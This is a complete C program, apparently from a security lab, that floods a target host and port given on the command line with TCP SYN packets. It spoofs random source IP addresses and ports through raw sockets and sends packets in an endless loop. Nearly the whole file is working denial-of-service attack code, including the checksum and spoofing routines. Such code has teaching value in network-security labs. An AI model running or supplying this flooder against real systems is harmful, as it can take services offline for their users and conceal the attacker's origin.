214 lines
6.7 KiB
C
214 lines
6.7 KiB
C
#include <unistd.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <errno.h>
|
|
#include <time.h>
|
|
#include <string.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/ip.h>
|
|
#include <arpa/inet.h>
|
|
|
|
/* IP Header */
|
|
struct ipheader {
|
|
unsigned char iph_ihl:4, //IP header length
|
|
iph_ver:4; //IP version
|
|
unsigned char iph_tos; //Type of service
|
|
unsigned short int iph_len; //IP Packet length (data + header)
|
|
unsigned short int iph_ident; //Identification
|
|
unsigned short int iph_flag:3, //Fragmentation flags
|
|
iph_offset:13; //Flags offset
|
|
unsigned char iph_ttl; //Time to Live
|
|
unsigned char iph_protocol; //Protocol type
|
|
unsigned short int iph_chksum; //IP datagram checksum
|
|
struct in_addr iph_sourceip; //Source IP address
|
|
struct in_addr iph_destip; //Destination IP address
|
|
};
|
|
|
|
|
|
/* TCP Header */
|
|
struct tcpheader {
|
|
u_short tcp_sport; /* source port */
|
|
u_short tcp_dport; /* destination port */
|
|
u_int tcp_seq; /* sequence number */
|
|
u_int tcp_ack; /* acknowledgement number */
|
|
u_char tcp_offx2; /* data offset, rsvd */
|
|
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
|
|
u_char tcp_flags;
|
|
#define TH_FIN 0x01
|
|
#define TH_SYN 0x02
|
|
#define TH_RST 0x04
|
|
#define TH_PUSH 0x08
|
|
#define TH_ACK 0x10
|
|
#define TH_URG 0x20
|
|
#define TH_ECE 0x40
|
|
#define TH_CWR 0x80
|
|
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
|
|
u_short tcp_win; /* window */
|
|
u_short tcp_sum; /* checksum */
|
|
u_short tcp_urp; /* urgent pointer */
|
|
};
|
|
|
|
/* Psuedo TCP header */
|
|
struct pseudo_tcp
|
|
{
|
|
unsigned saddr, daddr;
|
|
unsigned char mbz;
|
|
unsigned char ptcl;
|
|
unsigned short tcpl;
|
|
struct tcpheader tcp;
|
|
char payload[1500];
|
|
};
|
|
|
|
//#define DEST_IP "10.9.0.5"
|
|
//#define DEST_PORT 23 // Attack the web server
|
|
#define PACKET_LEN 1500
|
|
|
|
unsigned short calculate_tcp_checksum(struct ipheader *ip);
|
|
|
|
/*************************************************************
|
|
Given an IP packet, send it out using a raw socket.
|
|
**************************************************************/
|
|
void send_raw_ip_packet(struct ipheader* ip)
|
|
{
|
|
struct sockaddr_in dest_info;
|
|
int enable = 1;
|
|
|
|
// Step 1: Create a raw network socket.
|
|
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
|
if (sock < 0) {
|
|
fprintf(stderr, "socket() failed: %s\n", strerror(errno));
|
|
exit(1);
|
|
}
|
|
|
|
// Step 2: Set socket option.
|
|
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
|
|
&enable, sizeof(enable));
|
|
|
|
// Step 3: Provide needed information about destination.
|
|
dest_info.sin_family = AF_INET;
|
|
dest_info.sin_addr = ip->iph_destip;
|
|
|
|
// Step 4: Send the packet out.
|
|
sendto(sock, ip, ntohs(ip->iph_len), 0,
|
|
(struct sockaddr *)&dest_info, sizeof(dest_info));
|
|
close(sock);
|
|
}
|
|
|
|
|
|
/******************************************************************
|
|
Spoof a TCP SYN packet.
|
|
*******************************************************************/
|
|
int main(int argc, char *argv[]) {
|
|
char buffer[PACKET_LEN];
|
|
struct ipheader *ip = (struct ipheader *) buffer;
|
|
struct tcpheader *tcp = (struct tcpheader *) (buffer +
|
|
sizeof(struct ipheader));
|
|
|
|
if (argc < 3) {
|
|
printf("Please provide IP and Port number\n");
|
|
printf("Usage: synflood ip port\n");
|
|
exit(1);
|
|
}
|
|
|
|
char *DEST_IP = argv[1];
|
|
int DEST_PORT = atoi(argv[2]);
|
|
|
|
|
|
srand(time(0)); // Initialize the seed for random # generation.
|
|
while (1) {
|
|
memset(buffer, 0, PACKET_LEN);
|
|
/*********************************************************
|
|
Step 1: Fill in the TCP header.
|
|
********************************************************/
|
|
tcp->tcp_sport = rand(); // Use random source port
|
|
tcp->tcp_dport = htons(DEST_PORT);
|
|
tcp->tcp_seq = rand(); // Use random sequence #
|
|
tcp->tcp_offx2 = 0x50;
|
|
tcp->tcp_flags = TH_SYN; // Enable the SYN bit
|
|
tcp->tcp_win = htons(20000);
|
|
tcp->tcp_sum = 0;
|
|
|
|
/*********************************************************
|
|
Step 2: Fill in the IP header.
|
|
********************************************************/
|
|
ip->iph_ver = 4; // Version (IPV4)
|
|
ip->iph_ihl = 5; // Header length
|
|
ip->iph_ttl = 50; // Time to live
|
|
ip->iph_sourceip.s_addr = rand(); // Use a random IP address
|
|
ip->iph_destip.s_addr = inet_addr(DEST_IP);
|
|
ip->iph_protocol = IPPROTO_TCP; // The value is 6.
|
|
ip->iph_len = htons(sizeof(struct ipheader) +
|
|
sizeof(struct tcpheader));
|
|
|
|
// Calculate tcp checksum
|
|
tcp->tcp_sum = calculate_tcp_checksum(ip);
|
|
|
|
/*********************************************************
|
|
Step 3: Finally, send the spoofed packet
|
|
********************************************************/
|
|
send_raw_ip_packet(ip);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
unsigned short in_cksum (unsigned short *buf, int length)
|
|
{
|
|
unsigned short *w = buf;
|
|
int nleft = length;
|
|
int sum = 0;
|
|
unsigned short temp=0;
|
|
|
|
/*
|
|
* The algorithm uses a 32 bit accumulator (sum), adds
|
|
* sequential 16 bit words to it, and at the end, folds back all
|
|
* the carry bits from the top 16 bits into the lower 16 bits.
|
|
*/
|
|
while (nleft > 1) {
|
|
sum += *w++;
|
|
nleft -= 2;
|
|
}
|
|
|
|
/* treat the odd byte at the end, if any */
|
|
if (nleft == 1) {
|
|
*(u_char *)(&temp) = *(u_char *)w ;
|
|
sum += temp;
|
|
}
|
|
|
|
/* add back carry outs from top 16 bits to low 16 bits */
|
|
sum = (sum >> 16) + (sum & 0xffff); // add hi 16 to low 16
|
|
sum += (sum >> 16); // add carry
|
|
return (unsigned short)(~sum);
|
|
}
|
|
|
|
/****************************************************************
|
|
TCP checksum is calculated on the pseudo header, which includes
|
|
the TCP header and data, plus some part of the IP header.
|
|
Therefore, we need to construct the pseudo header first.
|
|
*****************************************************************/
|
|
|
|
|
|
unsigned short calculate_tcp_checksum(struct ipheader *ip)
|
|
{
|
|
struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
|
|
sizeof(struct ipheader));
|
|
|
|
int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);
|
|
|
|
/* pseudo tcp header for the checksum computation */
|
|
struct pseudo_tcp p_tcp;
|
|
memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));
|
|
|
|
p_tcp.saddr = ip->iph_sourceip.s_addr;
|
|
p_tcp.daddr = ip->iph_destip.s_addr;
|
|
p_tcp.mbz = 0;
|
|
p_tcp.ptcl = IPPROTO_TCP;
|
|
p_tcp.tcpl = htons(tcp_len);
|
|
memcpy(&p_tcp.tcp, tcp, tcp_len);
|
|
|
|
return (unsigned short) in_cksum((unsigned short *)&p_tcp,
|
|
tcp_len + 12);
|
|
}
|
|
|